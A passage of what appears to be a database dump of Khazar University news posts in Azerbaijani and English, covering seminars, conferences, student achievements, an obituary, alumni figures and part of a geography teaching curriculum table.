conclusions and recommendations of the current study.</p><p>The event lasted for 4 hours and it had a positive impact on the participants. At the end of the workshop, the open discussion was held and reflections were made on the findings of the ETF report. The purpose of the workshop was to discuss possible ways to enhance the youth transition to work.</p><p>It should be noted that the European Training Foundation is a European Union agency that helps transition and developing countries harness the potential of their human capital through the reform of education, training and labour market systems, and in the context of the EU\'s external relations policy. Based in Turin, Italy, the ETF has been operating since 1994.</p>'),(4554,2698,'az','“Azərbaycanda məktəbdən işə keçidin təsviri” mövzusunda seminar','Dekabrın 1-də Xəzər Universiteti Karyera mərkəzinin meneceri vəzifəsini icra edən Səbinə Allahverənova Avropa Təhsil Fondunun...','<p>Dekabrın 1-də Xəzər Universiteti Karyera mərkəzinin meneceri vəzifəsini icra edən Səbinə Allahverənova Avropa Təhsil Fondunun (ATF) təşkilatçılığı ilə “Azərbaycanda məktəbdən işə keçidin təsviri” mövzusunda keçirilən seminarda iştirak etdi. Tədbirə 20-dən çox təşkilatın nümayəndəsi qatılmışdı.</p><p>Seminarda Avropa Birliyinin Azərbaycandakı nümayəndəliyinin Əməliyyatlar üzrə rəhbəri Jeroen Willems, Məşğulluq siyasəti və demoqrafiya şöbəsinin müdiri Elnur Süleymanov çıxış etdilər.</p><p>ATF-nin milli eksperti İlkin Nəzərov əmək bazarında gənclərin vəziyyəti mövzusuna toxunaraq, işə keçidi dəstəkləyən mövcud tədbirlər barədə məlumat verdi, diqqəti lazımi məlumatlara və statistikaya yönəltdi. Seminar ATF-nin Əmək bazarı və ixtisaslar üzrə baş mütəxəssis Eduarda Castel Branconun çıxışı ilə davam etdi. O, əmək bazarının gələcək inkişafı üçün vacib prioritetləri nəzərə çatdırdı və tövsiyələrini bildirdi.</p><p>Seminarın sonunda müzakirələr keçirildi və ATF hesabatının nəticələri barədə fikirlər səsləndirildi.</p><p>Qeyd edək ki, seminarın məqsədi gənclərin işə keçidini artırmağın mümkün yollarını müzakirə etmək idi. ATF inkişaf etməkdə olan ölkələrdə təhsil, təlim və əmək bazarı sistemlərinin islahatı və Aİ-nin xarici əlaqələr siyasəti kontekstində insan kapitalının potensialını tətbiq edən Avropa Birliyi təşkilatıdır. İtaliyanın Turin şəhərində yerləşən ATF 1994-cü ildən fəaliyyət göstərir.</p>'),(4555,2699,'az','Xəzər Universitetində “Övladıma necə yanaşım?” mövzusunda seminar təşkil olunacaq','2017-ci il dekabrın 16-sı saat 15:00-da (otaq 406N) Xəzər Psixoloji Xidmət Mərkəzi və Xəzər Universitetinin Psixologiya departementi universitetin müəllimi...','<p>2017-ci il dekabrın 16-sı saat 15:00-da (otaq 406N) Xəzər Psixoloji Xidmət Mərkəzi və Xəzər Universitetinin Psixologiya departementi universitetin müəllimi, uşaq psixoloqu, doktorant Kəmalə Əliyevanın təqdimatında seminar təşkil edəcək.&nbsp;</p><p>Seminarda ailələrə və mütəxəssislərə dəstək olmaq məqsədi ilə yaş dövrləri, onların xüsusiyyətləri, ünsiyyət tərzi, uşaqlarda görülən problemli davranış və yanaşma tərzi və s. mövzular əhatə olunacaq.&nbsp;</p><p>Əlaqə üçün müraciət etmək olar:&nbsp;</p><p><strong>Telefon:</strong> (050) 329-89-78; <strong>E-mail:</strong> <a href=\"mailto:mkerimova@khazar.org\">mkerimova@khazar.org</a>.</p>'),(4556,2700,'az','Xəzər Universitetinin əməkdaşı Türkiyədə simpoziumda iştirak etdi','2017-ci il dekabrın 1-dən 3-dək tarixlərində Türkiyənin Afyon şəhərində Türk Tarix Qurumu, Afyon Kocatepe Universiteti, Nəcməddin Erbakan...','<p>2017-ci il dekabrın 1-dən 3-dək tarixlərində Türkiyənin Afyon şəhərində Türk Tarix Qurumu, Afyon Kocatepe Universiteti, Nəcməddin Erbakan Universiteti və İslam Tarixçiləri Dərnəyinin birgə təşkilatçılığı ilə “Uluslararası Orta Anadolu və Akdeniz Beylikleri Tarihi, Kültürü ve Medeniyeti Sempozyumu-IV, Sâhib Ataoğulları ve Turgutoğulları” adlı beynəlxalq simpoziumu təşkil edilmişdir. Azərbaycan, Türkiyə, Türkmənistan, Misir və digər ölkələrdən olan iştirakçılar arasında Xəzər Universiteti Dillər və mədəniyyətlər kafedrasının dosenti və koordinatoru f.ü.f.d. Zivər Hüseynli-Baylan həmin simpoziumda iştirak edirdi. Z.Hüseynli-Baylan “Turgutoğulları Safevi ilişkilerine dair inceleme (Farsça kaynaklar ışığında)” adlı məruzə ilə çıxış etdi. Zivər Hüseynli-Baylan habelə simpoziumun son günündə yekun və dəyərləndirmə bölümündə də çıxış etdi, simpoziumun gedişatı haqqında fikilərini bildirdi. Proqramın sonunda iştirakçılara sertifikat təqdim olundu.</p>'),(4557,2701,'az','“Xəzər Universitetində I Çin həftəsi”nin  “Ənənəvi Çin incəsənətini kəşf edin” adlı 2-ci günü keçirildi','2017-ci il dekabrın 5-də Xəzər Universitetində “I Çin həftəsi” adlı tədbirin “Ənənəvi Çin incəsənətini kəşf edin” adlı ikinci günü keçirildi...','<p>2017-ci il dekabrın 5-də \"Xəzər Universitetində I Çin həftəsi”nin&nbsp;“Ənənəvi Çin incəsənətini kəşf edin” adlı ikinci günü keçirildi. Tədbiri Kitabxana-İnformasiya Mərkəzinin əməkdaşı Samirə Orucova açaraq, tədbir iştirakçılarına Çin xalq sənətinin nümunələri haqqında məlumat verdi. Daha sonra Xəzər Universitetində Çin dilini tədris edən Li Ya Çin simvolları, Çin xəttatlıq sənəti və Çin rəsm sənəti haqqında məlumat verərək, tədbir iştirakçılarını təcrübi məşğələlərə dəvət etdi.</p>'),(4558,2677,'en','Khazar University participates in UN Conference','On November 24-25, International scientific conference on “Transformation of our world: the role of science for promotion of integration and realization...','<p>On November 24-25, International scientific conference on “Transformation of our world: the role of science for promotion of integration and realization of Sustainable Development Goals” was held in Baku. The conference was organized with the support of UN Global Compact Project, Azerbaijan Trade Unions Confederation and “Azersu” OJSC.</p><p>During the break, on November 24, a concert was performed for the participants by the Chamber Orchestra of Khazar University (art director is Assoc. Prof. Zulfiyya Sadigova, an Honored instructor, pianist, Head of the Department of Music and Fine Arts). Mashati Jabbarova, the instructor of Khazar University and soloist of Azerbaijan State Academic Philharmonic Hall and Mahir Tagizadeh, the student of Baku Music Academy, performed compositions by Azerbaijan composers as well.</p><p>On the same day, an exhibition of creative works by Afag Karimova, a well-known carpet artist and the instructor of Khazar University, and by a young artist Afshan Asadova, a member of Union of Artists, was demonstrated for the participants.</p>'),(4759,2822,'en','Career Centre Representative met President of International Eurasia Press Fund','Sabina Allahveranova, a manager of Career Centre of Khazar University, met Umid Mirzayev, President of International Eurasia Press...','<p>Sabina Allahveranova, a manager of Career Centre of Khazar University, met Umud Mirzayev, President of International Eurasia Press Fund (IEPF) on January 10, 2018.</p><p>During the meeting, a cooperation agreement was signed on internship program for the students of School of Humanities and Social Sciences of Khazar University, except for the students specializing in psychology.</p><p>International Eurasia Press Fund is an independent international non-governmental organization established by journalists from various countries which was officially registered in Azerbaijan in 1992.</p><p>IEPF functions within collaboration with UN Institutions, US State Department, the European Commission, World Bank, International Press Institute, the International Federation of Journalists, embassies of foreign countries in the Republic of Azerbaijan, ministries, and agencies as well as international and national NGOs.</p>'),(6332,3600,'en','“Walking team” was created at Khazar University','A “walking team\" was created on the initiative of Dr. Hassan Niknafs, rector of Khazar...','<p>A “walking team\" was created on the initiative of Dr. Hassan Niknafs, rector of Khazar University. The main aim of the team is, under the motto of “Let’s take care of our health”, to walk more and use less public transport while commuting every day. The members of the team were provided with a pedometer in order to count the number of daily steps. The results will be declared in a month and the positive impact of the initiative will be discussed.</p>'),(4561,2702,'en','EiLink Welcome Day','Khazar University eiLink Research&Development...','<p style=\"text-align:center\"><strong>Khazar University eiLink</strong></p><p style=\"text-align:center\"><strong>Research&amp;Development Centre announces:</strong></p><h3 style=\"text-align:center\"><strong>\"eiLink Welcome day\"</strong></h3><div><br></div><ul><li>Ongoing and emerging scientific projects</li><li>Available positions for <strong>Professors/Instructors</strong> and <strong>Students </strong>from following schools:</li></ul><br><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a></p><p style=\"text-align:left\"><strong><br></strong></p><p style=\"text-align:left\"><strong>Date &amp; Time:</strong> <strong style=\"color:#ff0033\">12.12.17 12:00&nbsp;pm</strong></p><p style=\"text-align:left\"><strong>Venue:</strong> <strong><span style=\"color:#ff0033\">Khazar&nbsp;</span><span style=\"color:#ff0033\">University, Marble Hall</span></strong></p>'),(5261,3050,'az','Dissertasiya işinin ilkin müzakirəsi keçiriləcək','2018-ci il aprelin 5-i, saat 12:00-da Xəzər Universitetində (otaq 102N) universitetin İngilis dili...','<p>2018-ci il aprelin 5-i, saat 12:00-da Xəzər Universitetində (otaq 102N) universitetin İngilis dili və ədəbiyyatı departamentinin dissertantı Milana Yunis qızı Abbasovanın fəlsəfə doktoru elmi dərəcəsi almaq üçün təqdim etdiyi “İngilis dilinin tədqiqinə sosiolinqvistik yanaşmada müasir tendensiyalar” adlı dissertasiya işinin müzakirəsi keçiriləcək.</p><p>Maraqlananlar dissertasiya işi ilə İngilis dili və ədəbiyyatı departamentində tanış ola bilərlər.</p><p>Hər kəs dəvətlidir.</p><p style=\"text-align:right\"><strong>Magistratura, doktorantura və elmi işlər bölməsi</strong><br></p>'),(4563,2703,'en','Forum Theatre organized by “The Chain” Team of Khazar University','On December 1, 2017, “The Chain” Team of Khazar University started implementing the final component of their campaign within the project “P2P: Facebook...','<p>On December 1, 2017, “The Chain” Team of Khazar University started implementing the final component of their campaign within the project “P2P: Facebook Global Digital Challenge”. The team organized Forum Theatre workshops for two days at Build Your Future office to prepare the selected participants for the final theatre performance.</p><p>During workshops, the participants learned about the theatre type developed by Augusto Boal as part of his “Theatre of the Oppressed”, practiced some techniques to help them improve their acting skills, and were familiarized with hate speech and extremism and ways to fight them.</p><p>On December 3, 2017, the team carried out the final theatre performance at Caspian Platform to showcase what participants gained from two-days workshops. In this type of theatre, the actors leave the scene after performing and the audience becomes part of their acting. The spectators analyze what they have seen and once the actors are back on the stage, the audience can make additions, changes to the script and transform it completely.</p><p>During the final event, “The Chain Dance” was also performed before the audience. The choreography has been created for the project by one of the local dance centers. The dance illustrated the fight of dark and light and called everyone to change people around us and chain together for a better world.</p><p>Participation of Khazar University in “Peer to Peer: Facebook Global Digital Challenge” is coordinated by the International Affairs Office.</p>'),(4564,2704,'az','“Gələcəyini Qur!” Gəncliyə Dəstək Layihəsi Xəzər Universitetində','2017-ci il dekabrın 3-də “Gələcəyini Qur!” Gəncliyə Dəstək Layihəsinin Xəzər Universitetinin “Neftçilər” kampusunda...','<p>2017-ci il dekabrın 3-də “Gələcəyini Qur!” Gəncliyə Dəstək Layihəsinin Xəzər Universitetinin “Neftçilər” kampusunda “Məsuliyyət” mövzusunda tədbiri keçirildi.</p><p>İştirakçıları salamlayaraq, tədbiri açan Xəzər Universitetinin Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova layihə haqqında ümumi məlumat verdi. Layihənin könüllüsü Rauf Cahangirov təhlükəsizlik tədbirləri haqqında iştirakçıları məlumatlandırdı. Daha sonra layihənin rəhbəri Bəhruz Hidayətzadə layihənin elmin vacibliyi, ədalət, sevgi, məsuliyyət kimi dəyərləri haqqında çıxış etdi. İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı universitet haqqında ətraflı məlumat verdi. Xəzər Universitetində təhsil alan “Gələcəyini Qur!” lahiyəsinin məzunları Azər Əliyev, Günel Abuzərli, Ziya Məmmədov və Günel Ələsgərli öz təcrübələrindən söz açaraq, ali məktəblərə qəbul imtahanına hazırlıqlar zamanı məsuliyyətin vacibliyindən, həmçinin, sistemli çalışmaq və layihənin onlara vermiş olduğu imkanlardan daha səmərəli istifadə etməkdən bəhs etdilər.</p><p>Çay fasiləsindən sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Məsuliyyət” mövzusunda çıxış etdi. Professor, həmçinin, Xəzər Universitetinin yaranma tarixindən də söz açdı. Çıxışdan sonra layihənin rəhbəri Bəhruz Hidayətzadə Professor Hamlet İsaxanlıya layihəyə göstərdiyi dəstək və əməkdaşlığa görə diplom təqdim etdi. Qeyd etmək lazımdır ki, cari tədris ilində Xəzər Universiteti layihənin iştirakçıları tərəfindən ən çox seçilən universitet oldu. Ali məktəblərə qəbul olmuş 125 nəfərdən 25-i hazırda Xəzər Universitetində təhsil alır.</p><p>Tədbirin davamında Xəzər Universitetinin Təhsil fakültəsinin dekanı Dr. Elza Səmədova məsuliyyətin növləri haqqında qısametrajlı filmlər nümayiş etdirərək, iştirakçılara bu barədə ətraflı məlumat verdi. Tədbirdə spiker qismində, həmçinin, Cavid Şahmalıyev (sosial işçi, “Uğur Akademiyası”nın həmtəsisçisi), Coşqun Kərimov (təlimçi və üç kitabın (“Kvan”, “Ubuntu” və “Alamo13”) müəllifi) və Xəqani Səfərov (Gilan Holding şirkətində insan resursları üzrə mütəxəssis) iştirak etdilər.</p><p>Aztəminatlı ailələrdən seçilən yüksək potensiallı gənclərin hərtərəfli fərdi inkişafına yönələn “Gələcəyini Qur!” Gəncliyə Dəstək Layihəsinin dəstəyi əsasında cari tədris ilində (2017-2018) 125 gənc ali məktəblərə qəbul olunmuşdur. Artıq 4-cü ildir həyata keçirilən layihəyə 2017-2018-ci tədris ilində 2000-dən çox şagird müraciət etmişdir. Onlardan 240 məktəbli layihənin iştirakçısı adını qazanmışdır.</p>'),(4565,2705,'az','Dövlət Miqrasiya Xidmətinin 10 illiyi münasibətilə keçirilmiş elmi-praktik konfransın materiallarından ibarət toplu çapdan çıxmışdır','Azərbaycan Respublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı ilə Dövlət Miqrasiya...','<p>Azərbaycan Respublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı ilə Dövlət Miqrasiya Xidmətinin 10 illiyi münasibətilə 2017-ci il fevralın 17-də universitetdə “Azərbaycanda miqrasiya siyasəti: nailiyyətlər və inkişaf perspektivləri” mövzusunda keçirilmiş elmi-praktik konfransın materiallarından ibarət toplu Xəzər Universiteti Nəşriyyatında çapdan çıxmışdır.</p><p>30-dək elmi məruzənin yer aldığı toplunun redaktoru və ön sözün müəllifi Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdır.</p>'),(4566,2695,'en','Professor Jamal Mustafayev passed away','On December 4, 2017, Jamal Mustafayev, Head of Translation Studies Center of Khazar University...','<p>On December 4, 2017, Jamal Mustafayev, Head of Translation Studies Center of Khazar University, passed away. The news has been broadcast through the media of the country.</p><p>More information is available at the following link:</p><p><a href=\"http://www.sherg.az/site/id-40106/___Professor_Camal_Mustafayev_v%C9%99fat_edib\">http://www.sherg.az/site/id-40106/___Professor_Camal_Mustafayev_vəfat_edib</a>.<br></p>'),(4568,2707,'az','“Universitet idarəçiliyində tələbələrin iştirakı” mövzusunda tədqiqat seminarı və yeni il tədbiri keçiriləcək ','Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin təşkilatçılığı ilə 2017-ci il dekabrın 27-si saat 17:00-da “Universitet...','<p>Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin təşkilatçılığı ilə 2017-ci il dekabrın 27-si saat 17:00-da “Universitet idarəçiliyində tələbələrin iştirakı” mövzusunda tədqiqat seminarı və yeni il tədbiri keçiriləcək. Xəzər Universitetinin İnkişaf Mərkəzinin direktoru PhD namizədi Raziyə İsayeva “Universitetin idarəçiliyində tələbələrin iştirakı və bunun tələbələrin karyera nailiyyətlərinə təsiri (Azərbaycana aid)” adlı tədqiqat nəticələrini təqdim edəcək.&nbsp;</p><p>Seminar Xəzər Universitetinin “Neftçilər” kampusunun Təlim otağında keçiriləcək.</p><p>Seminarın ardından doktorantura və magistratura tələbələri yeni il tədbiri keçirəcək.&nbsp;</p><p>Hər kəs dəvətlidir. PhD və magistr tələbələrin seminara qatılması və iştirakı ciddi şəkildə təşviq olunur.</p>'),(4570,2708,'az','“Xocasən gölünün su balansı” mövzusunda seminar keçirildi','2017-ci il dekabrın 6-da Xəzər Universiteti Coğrafiya və ərtaf mühit departamentinin təşkil etdiyi “Xocasən gölünün su balansı” mövzusunda...','<p>2017-ci il dekabrın 6-da Xəzər Universiteti Coğrafiya və ərtaf mühit departamentinin təşkil etdiyi “Xocasən gölünün su balansı” mövzusunda seminar keçirildi. Seminarda “Təmiz Şəhər” ASC-dan Sabit Zeyniyev; Milli Elmlər Akademiyasının nümayəndələri –&nbsp;Rövşən Kərimov, Məhəmməd Abduyev, Elnur Səfərov; Ekologiya və Təbii Sərvətlər Nazirliyindən Asif Verdiyev; “Azərsu” ASC-dan –&nbsp;Rəşail İsmayılov, Vüsal Poladov; SOCAR-dan Tural Məhərrəmov, Ramin Hüseynli; “Caspian Geomatics” şirkətindən Elvin Alıyev; Milli Hidrometerologiya Departamentindən Vasif Yahyayev iştirak edirdilər.</p><p>Sonda Coğrafiya və ərtaf mühit departamentinin müdiri Rövşən Abbasov qonaqların suallarını cavablandırdı.</p>'),(4571,2709,'az','Xəzər Universitetinin tələbəsi növbəti dəfə dünya çempionu oldu','2017-ci il noyabrın 28-dən dekabrın 1-dək Ukraynanın paytaxtı Kiyev şəhərində şərq əlbəyaxa döyüş növlərindən olan uşu-sanda üzrə dünya...','<p>2017-ci il noyabrın 28-dən dekabrın 1-dək Ukraynanın paytaxtı Kiyev şəhərində şərq əlbəyaxa döyüş növlərindən olan uşu-sanda üzrə dünya çempionatı keçirildi. Çempionatda 80 kq çəki dərəcəsində ölkəmizi Xəzər Universiteti Humanitar və sosial elmlər fakültəsində tərcümə ixtisası üzrə təhsil alan 4-cü il tələbəsi Firidun Həsənov təmsil edirdi. Bütün rəqiblərinə qalib gələn Firidun Həsənov böyüklər arasında 1-ci yeri tutaraq, növbəti dəfə dünya çempionu adına layiq görüldü və qızıl medalla mükafatlandırıldı.</p><p>Qeyd etmək istərdik ki, Firidun Həsənov bundan əvvəl də Asiya, Avropa və dünya miqyaslı bir sıra yarışların qalibi olmuşdur.</p>'),(4617,2730,'en','The Forum under the motto \"Internet – the key of Innovation and progress” was held','On December 7, 2017, the ADA University in Azerbaijan, ADA University and the Ministry of Transport, The Ministry of Communication...','<p>On December 7, 2017, the ADA University in Azerbaijan, ADA University and the Ministry of Transport, The Ministry of Communication and High Technologies of the Azerbaijan Republic, the UN Geneva Secretariat for the Internet Governance Forum and the United Nations Department of Economic and Social Affairs, The 5th Regional Internet Governance Forum organized under the motto \"<strong><em>Internet – the key of Innovation and progress</em></strong>\" was held. The leaders of diplomatic corps of foreign countries operating in Azerbaijan, ministers, MPs, representatives of a number of universities, NGO leaders participated in the forum. Director of Public Social) Relations and Media Alovsat Amirbeyli participated at the opening ceremony of the forum.  </p>'),(4574,2675,'en','Meeting at Gazi University within PETRA project','On 19-24 November, 2017, Dr. Elza Semedova, Dean of the School of Education, Dr. Ali Huseynli, Head of the Department of Mathematics, and Ulkar Bayramova...','<p>On 19-24 November, 2017, Dr. Elza Semedova, Dean of the School of Education, Dr. Ali Huseynli, Head of the Department of Mathematics, and Ulkar Bayramova, project manager of Development centre, participated in series of seminars in Gazi University of Turkey within ERASMUS+ project named “Development of teaching and learning in universities of Azerbaijan”.</p><p>Approximately 40 delegates of partner universities from Azerbaijan (Khazar University, Nakhchivan State University, Ganja State University, Sumgayit State University, Baku Slavic University, Azerbaijan University of Languages, Azerbaijan State Pedagogical University, Azerbaijan University) and Europe (University of Debrecen (Hungary), Polytechnic University of Valencia (Spain), University of Applied Sciences BFI Vienna (Austria), Gazi University (Turkey)&nbsp;participated in the seminars.</p><p>Within the five-day seminar, the participants gained full information on Gazi University, faculties of the university, organisation of teaching and learning at university, subject laboratories and laboratory experience, new methods of teaching and learning in various lessons, and also participated in various lectures. Moreover, the participants visited Kiziljahamam region of Ankara, where open air geography lessons are organised, and got visually familiar with open air lessons.</p><p>The seminars at Gazi University were welcomed by all the participants who gained new experience.</p><p>Furthermore, Dr. Elza Semedova had productive meetings with vice-rectors of Gazi University, Chankaya University, Hacettepe University, Middle East Technical University and Ankara University as well as representatives of Institutes of Education and Schools of Education, and discussed some issues such as cooperation and dual qualifications at master and doctoral levels, and joint professional development programs.</p><p>Dr. Elza Semedova also visited “Özəl Arı Okulları” high school affiliated with Chanakya University and got familiar with laboratories established within ERASMUS+ project. Dr. Elza Semedova discussed future collaboration between “Dünya” school and “Özəl Arı Okulları” and realisation of joint projects.</p><p>In the course of the meetings the delegates of Khazar University gave information about First International Education Symposium named \"Global education\" to be held at Khazar University 20-21 April, 2018, and handed out posters.</p>'),(4989,2909,'en','Alumni','Alumni','<h2>A brief analysis of the Eurasia Hub’s trainings participants</h2><p>Through the term of Eurasia Hub’s activity 331 people from 13 countries participated in its ten regional trainings, nine auxiliary courses and three summer schools for Khazar University students. Thus far, there are: 114 participants represented civic sector, 36 - media, 27- academic institutions, 41- state structures, 18 – extracting companies, 70- students and 25- others.</p><p><strong><br></strong></p><p><strong>Figure 1. Clasification of Eurasia Hub alumni by countries</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-1.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p><p><strong><br></strong></p><p><strong>Figure 2. Classification of Eurasia Hub alumni by sectors</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-2.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p><hr><p>Gender related data analysis of the Hub’s regional and auxiliary courses alumni demonstrates the commitment of the Eurasia Hub to gender equality principles.<strong><br></strong></p><p><strong><br></strong></p><p><strong>Figure 3. The gender balance of the Eurasia Hub alumni</strong></p><p><img src=\"http://eurasiahub.khazar.org/img/alumni/alumni-3.jpg\" style=\"border:0px  #000000;width:300px;height:138px;vertical-align:baseline\"></p>'),(4736,2808,'en','Prof. Hamlet Isahkanli was appointed a member of the Council of Statistics under the State Statistics Committee','A new board of Council of Statistics under the State Statistics Committee was approved by Decision 614, Cabinet of Ministers of the Republic...','<p>A new board of Council of Statistics under the State Statistics Committee was approved by Decision 614, Cabinet of Ministers of the Republic of Azerbaijan, December 29, 2017. Prof. Hamlet Isahkanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was reelected a member of the Council of Statistics under the State Statistics Committee.</p><p>For further information:</p><p style=\"background:undefined \"><a href=\"https://apa.az/xeber-az/sosial_xeberler/statistika-surasinin-yeni-terkibi-tesdiqlenib-5073.html\">https://apa.az/xeber-az/sosial_xeberler/statistika-surasinin-yeni-terkibi-tesdiqlenib-5073.html</a></p><p><a href=\"http://fins.az/budce/935301/statistika-surasinin-yeni-terkibi-tesdiqlenib.html\">http://fins.az/budce/935301/statistika-surasinin-yeni-terkibi-tesdiqlenib.html</a>&nbsp;</p><p><a href=\"http://teleqraf.com/news/toplum/161247.html\">http://teleqraf.com/news/toplum/161247.html</a>&nbsp;</p><p><a href=\"http://www.marja.az/news/18852\">http://www.marja.az/news/18852</a></p>'),(4731,2806,'en','Curriculum','Curriculum','<table cellpadding=\"0\" cellspacing=\"0\" width=\"1130\" style=\"\" border-collapse:collapse;width:850pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong> </strong></h3><h3><strong>050115&nbsp;– Coğrafiya müəllimliyi</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"304\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"62\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"290\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"304\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"62\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">AZLL 101</td>\r\n  <td>Azərbaycan dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL105</td>\r\n  <td width=\"304\">Azərbaycan\r\n  ədəbiyyatı&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 101</td>\r\n  <td>Yerşünasliq&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">EDU 101</td>\r\n  <td width=\"304\">Təhsilə\r\n  giriş&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"290\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 101</td>\r\n  <td width=\"304\">Geomorfologiya</td>\r\n  <td width=\"62\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"290\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"46\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"304\">Xüsusi\r\n  məqsədlər üçün ingilis dili</td>\r\n  <td width=\"62\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 202</td>\r\n  <td>Hidrologiya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 204</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PSYC 304</td>\r\n  <td width=\"304\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td>3</td>\r\n  <td>EDU 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl81\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 